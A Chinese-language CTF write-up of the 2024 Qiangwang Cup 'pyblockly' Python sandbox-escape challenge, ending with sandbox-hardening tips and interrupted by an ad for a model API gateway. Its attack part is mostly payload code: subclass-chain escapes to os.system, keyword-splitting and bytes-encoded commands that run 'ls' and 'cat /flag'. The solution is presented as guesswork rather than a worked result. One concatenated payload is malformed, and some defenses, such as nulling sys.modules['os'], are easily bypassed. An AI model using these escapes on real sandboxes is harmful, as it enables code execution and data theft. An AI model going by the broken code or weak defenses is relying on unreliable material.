1. 题目背景与核心挑战解析
2024年强网杯网络安全竞赛中的"pyblockly"题目是一道典型的Python沙盒逃逸类赛题。这类题目通常会限制选手在特定环境下执行任意代码的能力,要求参赛者突破预设的安全限制。题目名称中的"blockly"暗示了与可视化编程工具Blockly的某种关联,而"py"前缀则明确指向Python语言环境。
这道题目的核心难点在于:
- 如何在一个被严格限制的Python执行环境中突破沙盒限制
- 理解并利用题目提供的特殊接口或功能
- 在有限的系统调用权限下实现flag的读取
从过往强网杯赛事经验来看,这类题目通常会考察以下几个技术点:
- Python内置函数和属性的动态访问
- 特殊方法(builtins, __import__等)的利用
- 字符串拼接和编码转换技巧
- 受限环境下的代码执行路径
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 解题思路与技术路线
2.1 环境分析与初始侦察
首先需要确认题目提供的交互接口。典型的pyblockly题目可能会提供以下几种交互方式:
- 基于Web的Python代码编辑器
- 命令行式的Python解释器接口
- 通过特定协议(如HTTP)提交代码片段
通过简单的测试代码可以探测环境限制:
python复制print(dir(__builtins__)) # 查看可用内置函数
print(().__class__.__base__.__subclasses__()) # 查看可用的类继承关系
import os; print(os.listdir('/')) # 测试文件系统访问
2.2 常见沙盒逃逸技术
在Python沙盒环境中,以下几种逃逸技术值得尝试:
- 内置函数覆盖:
python复制__builtins__.__dict__['eval']('__import__("os").system("ls")')
- 类继承链利用:
python复制[].__class__.__base__.__subclasses__()[140].__init__.__globals__['system']('ls')
- 字符串拼接绕过过滤:
python复制eval('__imp'+'ort__("o'+'s").s'+'ystem("l'+'s")')
- 编码转换技巧:
python复制eval(bytes([95,95,105,109,112,111,114,116,95,95,40,34,111,115,34,41,46,115,121,115,116,101,109,40,34,108,115,34,41]).decode())
2.3 pyblockly的特殊限制与突破
根据题目名称推测,环境可能采用了类似Blockly的可视化编程接口限制。这意味着:
- 可能禁用了某些危险函数(eval, exec, open等)
- 可能限制了代码的结构和复杂度
- 可能监控了特定的函数调用
突破方法可能包括:
- 利用AST(抽象语法树)重构技术
- 通过异常处理机制绕过限制
- 使用元类编程技巧
3. 详细解题步骤与实现
3.1 环境探测与信息收集
首先发送探测代码获取环境信息:
python复制print("Available builtins:", [x for x in dir(__builtins__) if not x.startswith('_')])
print("Object subclasses:", len(().__class__.__base__.__subclasses__()))
假设返回结果显示:
- 禁用了eval, exec, open等函数
- 但保留了getattr, setattr等元编程函数
- 可用的子类数量为200+
3.2 构建payload获取shell
通过类继承链找到可利用的子类:
python复制for i, cls in enumerate(().__class__.__base__.__subclasses__()):
try:
if 'os' in cls.__init__.__globals__:
print(i, cls.__name__)
except:
pass
假设发现第150个类包含os模块引用,构造执行命令:
python复制payload = lambda: [
cls.__init__.__globals__['system']('cat /flag')
for cls in (().__class__.__base__.__subclasses__())
if cls.__name__ == 'catch_warnings'
][0]
payload()
3.3 绕过字符过滤的进阶技巧
如果直接命令执行被拦截,可以尝试:
- 字符串拼接:
python复制parts = ['__imp', 'ort__', '("o', 's").s', 'ystem("', 'cat /f*", ")']
eval(''.join(parts))
- 使用bytes转换:
python复制cmd = bytes([99, 97, 116, 32, 47, 102, 108, 97, 103]).decode()
__builtins__.__dict__['__imp'+'ort__']('os').system(cmd)
- 属性链式访问:
python复制getattr(getattr(__builtins__, '__imp'+'ort__')('os'), 'sy'+'stem')('l'+'s')
4. 常见问题与调试技巧
4.1 常见错误与解决方案
-
AttributeError异常:
- 原因:尝试访问不存在的属性
- 解决:先使用dir()检查可用属性
-
过滤规则绕过失败:
- 原因:特殊字符或关键词被拦截
- 解决:尝试不同的编码方式或字符串分割
-
权限不足:
- 原因:当前用户权限受限
- 解决:尝试读取环境变量或受限目录
4.2 调试与优化技巧
-
逐步测试法:
- 先测试简单表达式确认基本功能可用
- 逐步增加复杂度验证每个环节
-
异常捕获法:
python复制try:
# 尝试执行可疑代码
except Exception as e:
print("Error:", str(e))
- 环境差异处理:
- 本地搭建类似环境测试payload
- 准备多种备选方案应对环境变化
5. 防御方案与安全建议
从防御者角度,可以采取以下措施加固Python沙盒:
- 限制内置命名空间:
python复制safe_builtins = {'__builtins__': None}
exec(user_code, safe_builtins)
- 使用专用沙盒模块:
python复制from RestrictedPython import compile_restricted
code = compile_restricted(user_code, '<inline>', 'exec')
exec(code)
- 系统调用过滤:
python复制import sys
sys.modules['os'] = None
sys.modules['subprocess'] = None
- 资源限制:
python复制import resource
resource.setrlimit(resource.RLIMIT_CPU, (1, 1)) # 限制CPU时间
在实际CTF比赛中,这类题目的变种可能会结合更多创新限制条件,需要选手灵活运用Python语言特性和系统知识。建议平时多积累以下方面的经验:
- Python元编程技巧
- 常见沙盒逃逸模式
- 系统权限与隔离机制
- 编码转换与混淆技术
掌握这些核心技能后,不仅能够应对CTF比赛,对实际工作中的安全审计和渗透测试也有很大帮助。
